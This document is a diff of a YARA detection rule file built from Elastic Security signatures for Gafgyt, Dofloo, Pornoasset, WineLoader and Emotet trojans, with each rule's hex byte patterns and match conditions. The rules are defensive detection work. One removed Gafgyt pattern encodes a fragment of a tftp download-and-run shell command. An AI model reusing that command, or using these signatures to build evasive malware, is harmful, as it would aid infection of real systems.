-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3c74db508de7c8c1c190d5569e0a2c2b806f72045e7b74d44bfbaed20ecb956b"
+		fingerprint = "c4bb948b85777b1f5df89fafba0674bc245bbda1962c576abaf0752f49c747d0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102057,27 +106537,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_30444846 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 64 20 2B 78 20 74 66 74 70 31 2E 73 68 3B 20 73 68 20 74 66 74 }
+		$a = { 10 88 45 DB 83 EC 04 8B 45 F8 83 C0 03 89 45 D4 8B 45 D4 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Ea92Cca8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dofloo_29C12775 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Dofloo (Linux.Trojan.Dofloo)"
 		author = "Elastic Security"
-		id = "ea92cca8-bba7-4a1c-9b88-a2d051ad0021"
+		id = "29c12775-b7e5-417d-9789-90b9bd4529dd"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L475-L492"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5a9598b3fd37b15444063403a481df1a43894ddcbbd343961e1c770cb74180c9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dofloo.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88d826bac06c29e1b9024baaf90783e15d87d2a5c8c97426cbd5a70ae0f99461"
+		logic_hash = "a8eb79fdf57811f4ffd5a7c5ec54cf46c06281f8cd4d677aec1ad168d6648a08"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e"
+		fingerprint = "fbf49f0904e22c4d788f151096f9b1d80aa8c739b31705e6046d17029a6a7a4f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102085,57 +106566,59 @@ rule ELASTIC_Linux_Trojan_Gafgyt_Ea92Cca8 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64 }
+		$a = { 00 2F 7E 49 00 64 80 49 00 34 7F 49 00 04 7F 49 00 24 80 49 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_D4227Dbf : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Wineloader_13E8860A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Wineloader (Windows.Trojan.WineLoader)"
 		author = "Elastic Security"
-		id = "d4227dbf-6ab4-4637-a6ba-0e604acaafb4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "13e8860a-9d83-4ae6-b07e-20bb4037010c"
+		date = "2024-03-24"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L494-L512"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
-		logic_hash = "7953b8d08834315a6ca2c0c8ac1ec7b74a6ffcb71cec4fc053c24e1b59232c0c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_WineLoader.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f5cb3234eff0dbbd653d5cdce1d4b1026fa9574ebeaf16aaae3d4e921b6a7f9d"
+		logic_hash = "c072abb73377ed59c0dd9fab25a4c84575ab9badbddfda1ed51e576e4e12fa82"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3"
+		fingerprint = "d21c6d97360deea724b94b8f65116f00c11625c5deb1bac0790a23ede6eaaac6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 }
+		$a1 = { 48 8B 1E 48 89 F1 E8 ?? ?? 00 00 48 8B 56 08 48 89 F9 49 89 D8 E8 ?? ?? FF FF 48 89 F1 E8 ?? 5C 00 00 90 48 81 C4 ?? 00 00 00 5B 5D 5F 5E 41 5C 41 5E 41 5F C3 C3 41 57 41 56 41 55 41 54 56 57 }
+		$a2 = { 85 C0 0F 84 ?? 03 00 00 4C 8D A4 24 BC 00 00 00 41 C7 04 24 04 00 00 00 B8 0F 00 00 00 48 8D 7C 24 70 48 89 47 F8 48 B8 }
+		$a3 = { 48 85 DB 0F 84 B3 00 00 00 83 BC 24 80 01 00 00 00 0F 84 5A 01 00 00 4C 8D 74 24 50 49 C7 46 F8 0D 00 00 00 48 B8 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_09C3070E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Pornoasset_927F314F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Pornoasset (Linux.Trojan.Pornoasset)"
 		author = "Elastic Security"
-		id = "09c3070e-4b71-45a0-aa62-0cc6e496644a"
+		id = "927f314f-2cbb-4f87-b75c-9aa5ef758599"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L514-L532"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
-		logic_hash = "f8f8e8883cf1e51fbaef81b8334ac5fa45a54682d285282da62c80e4aa50a48d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Pornoasset.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93"
+		logic_hash = "7267375346c1628e04c8272c24bde04a5d6ae2b420f64dfe58657cfc3eecc0e7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d"
+		fingerprint = "7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102143,230 +106626,251 @@ rule ELASTIC_Linux_Trojan_Gafgyt_09C3070E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 }
+		$a = { C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Fa19B8Fc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_18379A8D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "fa19b8fc-6035-4415-842f-4993411ab43e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L534-L552"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a7cfc16ec33ec633cbdcbff3c4cefeed84d7cbe9ca1f4e2a3b3e43d39291cd6b"
-		logic_hash = "cddf3b9948b9bc685ff7d4c00377d0f80861169707777022297e549bd166dbf0"
+		id = "18379a8d-f1f2-49cc-8edf-58a3ba77efe7"
+		date = "2021-11-17"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827"
+		logic_hash = "2ad72ce2a352b91a4fa597ee9e796035298cfcee6fdc13dd3f64579d8da96b97"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4f213d5d1b4a0b832ed7a6fac91bef7c29117259b775b85409e9e4c8aec2ad10"
+		fingerprint = "b7650b902a1a02029e28c88dd7ff91d841136005b0246ef4a08aaf70e57df9cc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 02 63 10 01 0F 4B 85 14 36 B0 60 53 03 4F 0D B2 05 76 02 B7 00 00 }
+		$a = { 04 33 CB 88 0A 8B C1 C1 E8 08 8D 52 04 C1 E9 10 88 42 FD 88 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Eaa9A668 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_5528B3B0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "eaa9a668-e3b9-4657-81bf-1c6456e2053a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L554-L572"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "409c55110d392aed1a9ec98a6598fb8da86ab415534c8754aa48e3949e7c4b62"
-		logic_hash = "05e9047342a9d081a09f8514f0ec32d72bc43a286035014ada90b0243f92cfa8"
+		id = "5528b3b0-d4cb-485e-bc0c-96415ec3a795"
+		date = "2021-11-17"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L22-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827"
+		logic_hash = "bb784ab0e064bafa8450b6bb15ef534af38254ea3c096807571c2c27f7cdfd76"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bee2744457164e5747575a101026c7862474154d82f52151ac0d77fb278d9405"
+		fingerprint = "717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 C0 0F B6 00 3C 2F 76 0B 48 8B 45 C0 0F B6 00 3C 39 76 C7 48 8B }
+		$a = { 20 89 44 24 10 83 C2 02 01 74 24 10 01 7C 24 10 29 5C 24 10 66 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_46Eec778 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_1943Bbf2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "46eec778-7342-4ef7-adac-35bc0cdb9867"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L574-L592"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1"
-		logic_hash = "08e77a31005e14a06197857301e22d20334c1f2ef7fc06a4208643438377f4c4"
+		id = "1943bbf2-56c0-443e-9208-cd8fc3b02d79"
+		date = "2021-11-18"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L43-L62"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5abec3cd6aa066b1ddc0149a911645049ea1da66b656c563f9a384e821c5db38"
+		logic_hash = "41838e335b9314b8759922f23ec8709f46e6a26633f3685ac98ada5828191d35"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518"
+		fingerprint = "df8b73d83a50a58ed8332b7580c970c2994aa31d2ac1756cff8e0cd1777fb8fa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D }
+		$a = { 66 83 38 5C 74 0A 83 C0 02 66 39 30 75 F2 EB 06 33 C9 66 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_F51C5Ac3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_Db7D33Fa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "f51c5ac3-ade9-4d01-b578-3473a2b116db"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L594-L612"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
-		logic_hash = "e82b5ddb760d5bdcd146e1de12ec34c4764e668543420765146e22dee6f5732b"
+		id = "db7d33fa-e50c-4c59-ab92-edb74aac87c9"
+		date = "2022-05-09"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L64-L90"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "08c23400ff546db41f9ddbbb19fa75519826744dde3b3afb38f3985266577afc"
+		logic_hash = "e220c112c15f384fde6fc2286b01c7eb9bedcf4817d02645d0fa7afb05e7b593"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "34f254afdf94b1eb29bae4eb8e3864ea49e918a5dbe6e4c9d06a4292c104a792"
+		fingerprint = "eac196154ab1ad636654c966e860dcd5763c50d7b8221dbbc7769c879daf02fd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 2A 8B 45 0C 0F B6 00 84 C0 74 17 8B 45 0C 40 89 44 24 04 8B }
+		$chunk_0 = { 4C 8D 9C 24 ?? ?? ?? ?? 8B C3 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 }
+		$chunk_1 = { 8B C7 41 0F B7 4C 45 ?? 41 8B 1C 8C 48 03 DD 48 3B DE 72 ?? }
+		$chunk_2 = { 48 8B C4 48 89 48 ?? 48 89 50 ?? 4C 89 40 ?? 4C 89 48 ?? C3 }
+		$chunk_3 = { 48 8B 45 ?? BB 01 00 00 00 48 89 07 8B 45 ?? 89 47 ?? 4C 8D 9C 24 ?? ?? ?? ?? 8B C3 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 }
+		$chunk_4 = { 48 39 3B 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 40 0F 95 C7 8B C7 49 8B 7B ?? 49 8B E3 5D C3 }
+		$chunk_5 = { BE 02 00 00 00 4C 8D 9C 24 ?? ?? ?? ?? 8B C6 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 }
+		$chunk_6 = { 43 8B 84 FE ?? ?? ?? ?? 48 03 C6 48 3B D8 73 ?? }
+		$chunk_7 = { 88 02 48 FF C2 48 FF C3 8A 03 84 C0 75 ?? EB ?? }
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_71E487Ea : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_D6Ac1Ea4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "71e487ea-a592-469c-a03e-0c64d2549e74"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L614-L632"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b8d044f2de21d20c7e4b43a2baf5d8cdb97fba95c3b99816848c0f214515295b"
-		logic_hash = "3de9e0e3334e9e6e5906886f95ff8ce3596f85772dc25021fb0ee148281cf81c"
+		id = "d6ac1ea4-b0a8-4023-b712-9f4f2c7146a3"
+		date = "2022-05-24"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L92-L114"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c6709d5d2e891d1ce26fdb4021599ac10fea93c7773f5c00bea8e5e90404b71"
+		logic_hash = "9b37940ea8752c6db52d4f09225de0389438c41468a11a7cda8f28b191192ef9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8df69968ddfec5821500949015192b6cdbc188c74f785a272effd7bc9707f661"
+		fingerprint = "7e6224c58c283765b5e819eb46814c556ae6b7b5931cd1e3e19ca3ec8fa31aa2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E0 8B 45 D8 8B 04 D0 8D 50 01 83 EC 0C 8D 85 40 FF FF FF 50 }
+		$calc1 = { C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? }
+		$pre = { 48 83 EC ( 18 | 28 ) C7 44 24 ?? ?? ?? ?? ?? }
+		$setup = { 48 8D 05 ?? ?? ?? ?? 48 89 81 ?? ?? ?? ?? }
+		$post = { 8B 44 24 ?? 89 44 24 ?? 48 83 C4 18 C3 }
 
 	condition:
-		all of them
+		#calc1>=10 and #pre>=5 and #setup>=5 and #post>=5
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_6620Ec67 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_77C667B9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "6620ec67-8f12-435b-963c-b44a02f43ef1"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L634-L652"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b91eb196605c155c98f824abf8afe122f113d1fed254074117652f93d0c9d6b2"
-		logic_hash = "2df2c8cdc2cb545f916159d44a800708b55a2993cd54a4dcf920a6a8dc6361e7"
+		id = "77c667b9-6895-428f-8735-ba5853d9484d"
+		date = "2022-11-07"
+		modified = "2022-12-20"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L116-L144"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ffac0120c3ae022b807559e8ed7902fde0fa5f7cb9c5c8d612754fa498288572"
+		logic_hash = "f11769fe5e9789b451e8826c5fd22bde5b3eb9f7af1d5fec7eec71700fc1f482"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9d68db5b3779bb5abe078f9e36dd9a09d4d3ad9274a3a50bdfa0e444a7e46623"
+		fingerprint = "f8fac966f77cd8d6654b8abffbf63d884bd9f0b5d51bfc252004a0d9bd569068"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { AF 93 64 1A D8 0B 48 93 64 0B 48 A3 64 11 D1 0B 41 05 E4 48 }
+		$c2_list_1 = { 8B 4B ?? 8B 85 ?? ?? ?? ?? 48 FF C1 48 C1 E1 ?? 89 04 19 8B 43 ?? 8B 8D ?? ?? ?? ?? 48 C1 E0 ?? C1 E9 ?? 66 89 4C 18 ?? }
+		$c2_list_2 = { 8B 43 ?? 48 8D 0C 80 8B 44 24 ?? 89 44 CB ?? 8B 43 ?? 8B 54 24 ?? 48 8D 0C 80 C1 EA ?? 66 89 54 CB ?? 8B 43 ?? 0F B7 54 24 ?? 48 8D 0C 80 89 54 CB ?? FF 43 ?? }
+		$c2_list_3 = { 8B 43 ?? 48 FF C0 48 8D 0C 40 8B 85 ?? ?? ?? ?? 48 03 C9 89 04 CB 8B 43 ?? 8B 95 ?? ?? ?? ?? 48 8D 0C 40 C1 EA ?? 48 03 C9 66 89 54 CB ?? 8B 43 ?? 0F B7 95 ?? ?? ?? ?? 48 8D 0C 40 B8 ?? ?? ?? ?? 48 03 C9 89 54 CB ?? FF 43 ?? }
+		$c2_list_4 = { 8B 43 ?? 48 FF C0 48 8D 0C 40 8B 44 24 ?? 89 04 CB 8B 43 ?? 8B 54 24 ?? 48 8D 0C 40 C1 EA ?? 66 89 54 CB ?? 8B 43 ?? 0F B7 54 24 ?? 48 8D 0C 40 89 54 CB ?? FF 43 ?? }
+		$c2_list_5 = { 8B 83 ?? ?? ?? ?? 48 8D 0C 80 8B 44 24 ?? 89 44 CB ?? 8B 83 ?? ?? ?? ?? 8B 54 24 ?? 48 8D 0C 80 C1 EA ?? 66 89 54 CB ?? 8B 83 ?? ?? ?? ?? 0F B7 54 24 ?? 48 8D 0C 80 89 14 CB FF 83 ?? ?? ?? ?? }
+		$c2_list_a = { 8B 83 ?? ?? ?? ?? 83 F8 ?? 73 ?? 48 8D 4C 24 ?? FF 54 C4 ?? 83 7C 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? }
+		$string_w_1 = { 8B 0B 49 FF C3 48 8D 5B ?? 33 CD 0F B6 C1 66 41 89 00 0F B7 C1 C1 E9 ?? 66 C1 E8 ?? 4D 8D 40 ?? 66 41 89 40 ?? 0F B6 C1 66 C1 E9 ?? 66 41 89 40 ?? 66 41 89 48 ?? 4D 3B D9 72 ?? }
+		$string_w_2 = { 8B CD 49 FF C3 33 0B 48 8D 5B ?? 0F B6 C1 66 41 89 00 0F B7 C1 C1 E9 ?? 66 C1 E8 ?? 4D 8D 40 ?? 66 41 89 40 ?? 0F B6 C1 66 C1 E9 ?? 66 41 89 40 ?? 66 41 89 48 ?? 4D 3B D9 72 ?? }
+		$string_a_1 = { 8B 0B 49 FF C3 48 8D 5B ?? 33 CD 41 88 08 0F B7 C1 C1 E9 ?? 66 C1 E8 ?? 4D 8D 40 ?? 41 88 40 ?? 41 88 48 ?? 66 C1 E9 ?? 41 88 48 ?? 4D 3B D9 72 ?? }
+		$key_1 = { 45 33 C9 4C 8B D0 48 85 C0 74 ?? 48 8D ?? ?? 4C 8B ?? 48 8B ?? 48 2B ?? 48 83 ?? ?? 48 C1 ?? ?? 48 3B ?? 49 0F 47 ?? 48 85 ?? 74 ?? 48 2B D8 42 8B 04 03 }
 
 	condition:
-		all of them
+		(1 of ($string_*)) and (($key_1 or (1 of ($c2_list*))) or (1 of ($c2_list*)))
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_D996D335 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Emotet_8B9449C1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Emotet (Windows.Trojan.Emotet)"
 		author = "Elastic Security"
-		id = "d996d335-e049-4052-bf36-6cd07c911a8b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L654-L672"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda"
-		logic_hash = "212c75ab61eac8b3ed2049966628dfc81ae5a620b4a4b38aaa0696d594910dea"
+		id = "8b9449c1-41a3-4f4d-b654-6921f2742b9a"
+		date = "2022-11-09"
+		modified = "2022-12-20"
+		reference = "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Emotet.yar#L146-L166"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ffac0120c3ae022b807559e8ed7902fde0fa5f7cb9c5c8d612754fa498288572"
+		logic_hash = "5501354ebc1d97fe5ce894d5907adb29440f557f2dd235e1e983ae2d109199a2"
 		score = 75
 		quality = 75
